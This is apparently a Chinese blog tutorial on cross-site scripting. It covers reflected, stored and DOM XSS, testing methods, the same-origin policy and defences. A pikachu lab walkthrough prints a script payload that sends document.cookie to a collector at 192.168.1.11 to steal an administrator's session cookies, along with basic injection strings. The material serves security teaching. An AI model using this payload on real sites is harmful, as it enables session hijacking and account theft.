09.XSS跨站脚本攻击(超详细!!!)
1、什么是XSS
XSS(跨站脚本攻击):攻击者利用这个漏洞将恶意脚本注入到网页中,当其它用户浏览这些页面时,恶意脚本会在用户的浏览器中执行。XSS攻击允许攻击者在用户的浏览器上执行脚本,从而可能获取用户的敏感信息(如cookies)、篡改网页内容、重定向用户至恶意站点,甚至进行钓鱼攻击等。
2、漏洞产生的原因
XSS漏洞产生的原因主要是Web应用对用户输入的数据过滤和检查不严格,没有进行适当的处理(如编码或转义),导致攻击者能够注入恶意脚本,这些脚本在用户的浏览器中执行
3、XSS分类
XSS攻击主要分为以下几种类型:
反射型XSS(Non-Persistent XSS):这种攻击的特点是恶意脚本不是存储在服务器上,而是通过用户提供的数据作为参数嵌入到动态生成的网页链接中。当其他用户点击这个链接时,恶意脚本在他们的浏览器中执行。
存储型XSS(Persistent XSS):这种攻击类型中,恶意脚本被存储在服务器端,例如在数据库或服务器文件中。当其他用户访问存储了恶意脚本的页面时,脚本会被执行。
DOM Based XSS:这种类型的XSS攻击源于前端JavaScript对用户输入数据的不当处理,而不是来自服务器端响应。它利用的是浏览器的DOM环境,而不是HTML文档本身的漏洞。
3.1 反射型XSS(中危)
<?php
$name = $_GET['id'];
echo "Welcome $name<br>";
?>

在这段代码中程序接受id的值,并且输出,如果提交xss.php?id=,因为程序并没有进行XSS代码过滤,最终造成反射型XSS漏洞
3.2 存储型XSS(高危)
交互的数据会被存在在数据库里面,永久性存储,具有很强的稳定性
与反射型XSS相比,唯一的区别就是XSS代码被带入数据,在下次浏览时,又被读取出来使用
<script>alert(1)</script>


3.3 DOM XSS(低危)
不与后台服务器产生数据交互,通过前端的dom节点形成的XSS漏洞。
什么是DOM:DOM全称是Document Object Model,也就是文档对象模型。我们可以将DOM理解为,一个与系统平台和编程语言无关的接口,程序和脚本可以通过这个接口动态地访问和修改文档内容、结构和样式。当创建好一个页面并加载到浏览器时,DOM就悄然而生,它会把网页文档转换为一个文档对象,主要功能是处理网页内容。故可以使用 Javascript 语言来操作DOM以达到网页的目的。
<a href='"+str+"'>what do you see?</a><a href='#' onclick="alert(1111)">what do you see?</a><a href='#' onclick="alert(2222)">what do you see?</a>

4、XSS测试方法
1、工具扫描:APPscan、AWVS
2、手工测试:Burpsuite、firefox(hackbar)、XSSER XSSF
(1)在目标站点上找到输入点,比如查询接口,留言板等;
(2)输入一组"特殊字符+唯一识别字符",点击提交后,查看返回的源码,是否有做对应的处理;
(3)通过搜索定位到唯一字符,结合唯一字符前后语法确认是否可以构造执行js的条件(构造闭合);提交构造的脚本代码,看是否可以成功执行,如果成功执行则说明存在XSS漏洞;
5、XSS平台搭建及cookie获取
5.1 XSS平台搭建
进入pikachu靶场,点击【管理工具】=> 【XSS后台】

进入这个界面后,点击进行初始化安装





5.2 获取管理员cookies
登录pikachu页面,打开【XSS之盲打】,检查是否存在XSS注入
111'"><script>alert(1)</script>

注入后没有任何弹出的窗口,访问以下路径,登录管理员的后台看看

登录用户名和密码分别是admin和123456

发现登录进去之后会弹出我们刚才注入的信息


把pikachu中的pkxss目录复制一份到WWW目录下,然后修改C:\tools\phpstudy\WWW\pkxss\xcookie下的cookie.php文件,将IP地址改为192.168.1.11:90

通过下面的代码获取cookie
<script>document.location='http://192.168.1.11:90/pkxss/xcookie/cookie.php?cookie=' +document.cookie;</script>
//通过document.location 实例进行重定向
注入后提交

再登录到管理员后台,发现登录完成后会自动跳转到首页


这样就可以获取管理员的cookies

6、同源策略
6.1 什么是跨域
http:// www. oldboyedu.com :80 / news/index.php
协议 子域名 主域名 端口 资源地址
当协议、主机(主域名,子域名)、端口中的任意一个不相同时,称为不同域。我们把不同的域之间请求数据的操作,成为跨域操作。
6.2 同源策略
**同源策略(Same-Origin Policy,简称SOP)**是一种浏览器安全机制,用于限制一个源(origin)的文档或脚本如何与另一个源的资源进行交互。这个策略的目的是防止恶意文档窃取数据或对另一个源进行恶意操作。
同源策略的主要限制包括:
① 数据访问限制:不同源的网页不能通过JavaScript读取或修改对方的DOM树和数据。
② Cookie和Session:浏览器在发送HTTP请求时,不会携带跨源的Cookie和Session信息。
③ Web Storage:localStorage和sessionStorage等Web存储API遵循同源策略,不同源的页面不能访问彼此的存储数据。
④ Web SQL和IndexedDB:这些客户端存储数据库API也受到同源策略的限制。
⑤ 跨源AJAX请求:通过XMLHttpRequest或Fetch API进行的AJAX请求默认情况下不能跨源请求数据,除非服务器端设置了适当的CORS(跨源资源共享)策略。
**Tips:**下面这些标签跨域加载资源(资源类型是有限止的)是不受同源策略限制的
<script src="..."> //加载本地js执行
<img src="..."> //图片
<link href="..."> //css
<iframe src="..."> //任意资源
7、绕过htmlspecialchars()函数
htmlspecialchars() 是PHP中用于转义HTML特殊字符的函数,确保输出的字符串可以安全地显示为纯文本,避免XSS(跨站脚本)攻击。这个函数将几个预定义的HTML字符转换为它们的HTML实体等价物:
& 转换为 &
" 转换为 "(双引号)
' 转换为 ' 或 '(单引号)
< 转换为 <
> 转换为 >
参数说明:
$string:需要转义的原始字符串。
$flags:指定转义的模式,可以是以下常量之一或组合:
ENT_COMPAT:默认值,转换<>"'&字符。
ENT_QUOTES:转换双引号和单引号。
ENT_NOQUOTES:不转换引号,只转换<>&。
ENT_HTML401:遵守HTML 4.01规范。
ENT_XML1:遵守XML 1规范。
ENT_XHTML:遵守XHTML规范。
ENT_HTML5:遵守HTML 5规范。
$encoding:指定字符编码。默认为UTF-8。
$double_encode:当设为true时,会连续转义现有的实体。如果设为false,不会对&等实体进行二次转义。
8、XSS防御
① 对用户输入进行严格的验证和过滤,使用白名单或黑名单方法。
② 对输出到页面的数据进行编码或转义,防止执行。
③ 实施内容安全策略(CSP),限制网页可以加载和执行的资源。
④ 设置HTTPOnly标志的Cookie,防止JavaScript访问。
⑤ 使用前端安全库进行DOM净化,防止基于DOM的XSS攻击。
⑥ 定期进行安全审计和代码审查,及时修复安全漏洞。
相关文章:
09.XSS跨站脚本攻击(超详细!!!)
1、什么是XSS XSS(跨站脚本攻击):攻击者利用这个漏洞将恶意脚本注入到网页中,当其它用户浏览这些页面时,恶意脚本会在用户的浏览器中执行。XSS攻击允许攻击者在用户的浏览器上执行脚本,从而可能获取用户的…...
讲解人工智能在现代科技中的应用和未来发展趋势-水文
人工智能(Artificial Intelligence,简称AI)是一种模拟人类智能的科技领域,它通过计算机模拟人类的思维、学习、推理和决策能力,以便解决复杂的问题。近年来,人工智能技术的发展取得了惊人的进展,…...
2.2 QT 环境配置
2.2 QT环境配置 QT是一个1991年由QT Company开发的跨平台C图形用户界面应用程序开发框架。它既可以开发GUI程序,也可以用于开发非GUI程序,比如控制台工具和服务器。Qt是面向对象的框架,使用特殊的代码生成扩展(称为元对象编译器&…...
2.类和对象(上)
1. 类的定义 1.1 类定义格式 • class为定义类的关键字,Stack为类的名字,{ }中为类的主体,注意类定义结束时后面分号不能省略。类体中内容称为类的成员:类中的变量称为类的属性或成员变量; (类和结构体非常像&#…...
【实际案例】服务器宕机情况分析及处理建议
了解银河麒麟操作系统更多全新产品,请点击访问麒麟软件产品专区:https://product.kylinos.cn 服务器环境以及配置 物理机/虚拟机/云/容器 物理机 外网/私有网络/无网络 私有网络 处理器: Kunpeng 920 内存: 4 TiB BIOS版…...
Linux系统之ncdu命令的基本使用
Linux系统之ncdu命令的基本使用 一、ncdu命令命令介绍1.1 ncdu简介1.2 ncdu特点 二、本地环境介绍2.1 本地环境规划2.2 本次实践介绍 三、检查本地环境3.1 检查本地操作系统版本3.2 检查系统内核版本3.3 检查系统镜像源3.4 更新软件列表 四、安装ncdu工具4.1 安装ncdu软件4.2 n…...
STM32L051K8U6-HAL-LED闪烁设计
HAL三步法: 1、配置下载线 2、配置晶振 3、配置时钟 注意:中断优先级(这里防止HAL_Delay卡死,详细请看 http://t.csdnimg.cn/NQhQV) 4、 配置灯引脚属性为输出模式。并设置标签为LED 生成代码:编写while里…...
记一次远程API调用失败
记一次远程API调用失败 最近开发忙,项目紧,系统出现一些忽隐忽现的问题,本地也不能复现,当时也无法理解,就先搁置了,现在回想起来,这里还是明智的。 这个bug很神奇 今天,原本好好的…...
【力扣】746.使用最小花费爬楼梯
题目描述 给你一个整数数组 cost ,其中 cost[i] 是从楼梯第 i 个台阶向上爬需要支付的费用。一旦你支付此费用,即可选择向上爬一个或者两个台阶。 你可以选择从下标为 0 或下标为 1 的台阶开始爬楼梯。 请你计算并返回达到楼梯顶部的最低花费。 示例…...
06:【stm32】中断一:NVIC的配置
中断 1、中断的简介1.1、什么是中断1.2、为什么需要中断 2、中断的优先级2.1、中断优先级的表示方法 3、NVIC3.1、什么的NVIC3.2、NVIC的内部结构3.3、中断向量表3.4、程序实现①开启中断源②配置NVIC③中断响应函数 1、中断的简介 1.1、什么是中断 正在进行的事务被突发事件打…...
Flutter简介
Flutter是一个由Google开发的开源移动UI框架,它允许开发者使用Dart语言来构建高性能、高保真的iOS和Android应用。Flutter的设计理念是"编写一次,到处运行"(write once, run everywhere),这意味着开发者可以…...
WT2605C蓝牙语音芯片赋能对讲机新体验:无屏操控、音频解码与蓝牙音箱三合一
一、产品概况 对讲机市场是一个技术成熟且具有广泛应用前景的市场。对讲机作为无线通信设备的一种,在许多不同的领域和业务中发挥着重要作用。从技术发展角度来看,对讲机经历了从模拟到数字的转型,以及从简单通信工具向多功能设备的演进。当…...
ctfshow-web入门-sql注入(web191-web195)
目录 1、web191 2、web192 3、web193 4、web194 5、web195 1、web191 过滤了 ascii 使用 ord 代替: import requests import string url "http://a585c278-320a-40e7-841f-109b1e394caa.challenge.ctf.show/api/index.php" out for j in range(1…...
【ARM】v8架构programmer guide(3)_ARMv8的寄存器
目录 4.ARMv8 registers 4.1 AArch64 特殊寄存器 4.1.1 Zero register 4.1.2 Stack pointer (SP) 4.1.3 Program Counter (PC) 4.1.4 Exception Link Register(ELR) 4.1.5 Saved Process Status Register (SPSR) 4.2 Proc…...
SpringIOC整合dbUtil做的增删改查以及转账业务的实现
目录 一、xml方式实现 1.介绍lombok插件 2.功能 3.步骤 3.1 idea安装插件(只做一次) 3.2 添加坐标 3.3 编写注解 4.核心类 4.1 QueryRunner 4.2 query() 查询 4.3 update() 增删改 5.配置文件applicationContext.xml 6.junit测试 6.1使用步骤 6.1.1 坐标 6.1.2…...
【Nacos无压力源码领读】(二) 集成 LoadBanlancer 与 OpenFeign
上一篇文章中, 详细介绍了 Nacos 注册中心的原理, 相信看完后, 大家应该完全掌握了 Nacos 客户端是如何自动进行服务注册的, 以及 Nacos 客户端是如何订阅服务实例信息的, 以及 Nacos 服务器是如何处理客户端的注册和订阅请求的; 本文承上启下, 在订阅服务实例的基础上, 介绍如…...
CP AUTOSAR标准之DefaultErrorTracer(AUTOSAR_SWS_DefaultErrorTracer)(更新中……)
1 简介和功能概述 本规范描述了默认错误跟踪器的API。基础软件中检测到的所有开发和运行时错误都会报告给此模块。API参数允许跟踪错误来源和类型: 检测到错误的模块检测到错误的函数错误类型此模块API背后的功能不在本规范的范围内。软件开发人员和软件集成商应根据其特定应用…...
SpringMVC (发送请求——>参数传递—— >响应数据)
设置请求访问路径 RequestMapper:将请求访问路径和我们业务层的方法联系起来 ResponseBody:将我们业务层方法的返回值转化为json,xml或其他格式的数据返回给页面 两种请求 get请求 post请求 测试案例 RequestMapping("/getNameAndAge&…...
认识Modbus RTU与Modbus TCP
(选自成都纵横智控-Modbus RTU与Modbus TCP协议区别详解 ) Modbus RTU 和 Modbus TCP 是两种常用的工业通信协议,用于连接电子设备,但它们在多方面有所不同。以下是它们的详细比较: Modbus RTU 协议类型: …...
如何在 Kubernetes 中使用 ClickHouse 和 JuiceFS
ClickHouse 结合 JuiceFS 一直是一个热门的组合,社区中有多篇实践案例。今天的文章来自美国公司 Altinity,一家提供 ClickHouse 商业服务的企业,作者是 Vitaliy Zakaznikov,他尝试了这个组合并公开了过程中使用的代码。原文有两篇…...
开源智能体的安全第一课:OpenClaw案例
网罗开发(小红书、快手、视频号同名)大家好,我是 展菲,目前在上市企业从事人工智能项目研发管理工作,平时热衷于分享各种编程领域的软硬技能知识以及前沿技术,包括iOS、前端、Harmony OS、Java、Python等方…...
告别DCOM噩梦:手把手教你用KepOPC DA2UA中间件搞定OPC DA到UA的转换(附Python读写测试代码)
工业数据互通新范式:零配置实现OPC DA到UA的无缝迁移实战 如果你是一名工业自动化工程师,一定对这样的场景不陌生:凌晨两点还在客户现场调试DCOM配置,反复检查防火墙规则、用户权限和网络策略,却依然无法让OPC DA客户端…...
实战演练:基于快马AI打造Ubuntu OpenClaw颜色分拣机器人应用
实战演练:基于快马AI打造Ubuntu OpenClaw颜色分拣机器人应用 最近在研究机器人抓取和分拣的应用场景,正好用InsCode(快马)平台尝试了一个OpenClaw颜色分拣机器人的项目。整个过程比我预想的要顺利很多,特别是平台提供的AI辅助功能࿰…...
构建赛马娘本地化引擎:从问题诊断到性能优化的全流程解决方案
构建赛马娘本地化引擎:从问题诊断到性能优化的全流程解决方案 【免费下载链接】umamusume-localify Localify "ウマ娘: Pretty Derby" DMM client 项目地址: https://gitcode.com/gh_mirrors/um/umamusume-localify 一、问题诊断:识别赛…...
汽车电子开发必看:OBD接口中的CAN总线实战指南(附STM32代码)
汽车电子开发实战:OBD接口CAN总线通信与STM32应用解析 1. 汽车电子开发者的CAN总线技术入门 在汽车电子开发领域,CAN总线技术已经成为现代车辆通信系统的核心支柱。这种可靠的串行通信协议最初由博世公司在1980年代开发,专门用于解决汽车内部…...
Mac风扇控制开源工具:解决散热难题的完整方案——如何让你的Intel Mac运行更凉爽
Mac风扇控制开源工具:解决散热难题的完整方案——如何让你的Intel Mac运行更凉爽 【免费下载链接】smcFanControl Control the fans of every Intel Mac to make it run cooler 项目地址: https://gitcode.com/gh_mirrors/smc/smcFanControl 问题诊断&#x…...
OpCore-Simplify:智能配置黑苹果EFI的自动化工具开源方案
OpCore-Simplify:智能配置黑苹果EFI的自动化工具开源方案 【免费下载链接】OpCore-Simplify A tool designed to simplify the creation of OpenCore EFI 项目地址: https://gitcode.com/GitHub_Trending/op/OpCore-Simplify OpCore-Simplify是一款专为黑苹果…...
UniApp 集成 Cesium 实战:RenderJS 通信优化与性能调优
1. UniApp集成Cesium的挑战与解决方案 在移动端开发轻量级GIS应用时,很多开发者会选择UniApp作为跨平台框架,同时利用Cesium实现三维地图渲染。但实际集成过程中,最让人头疼的就是性能问题。我去年做过一个林业巡检项目,需要在手机…...
从原生UI到插件化框架:RAGENativeUI在GTA模组开发中的架构重构
从原生UI到插件化框架:RAGENativeUI在GTA模组开发中的架构重构 【免费下载链接】RAGENativeUI 项目地址: https://gitcode.com/gh_mirrors/ra/RAGENativeUI 在Grand Theft Auto V模组开发领域,界面系统长期面临着原生集成度低、性能开销大、开发…...
如何通过TPFanCtrl2实现ThinkPad风扇智能控制:3步配置终极静音方案
如何通过TPFanCtrl2实现ThinkPad风扇智能控制:3步配置终极静音方案 【免费下载链接】TPFanCtrl2 ThinkPad Fan Control 2 (Dual Fan) for Windows 10 and 11 项目地址: https://gitcode.com/gh_mirrors/tp/TPFanCtrl2 TPFanCtrl2是一款专为ThinkPad笔记本设计…...
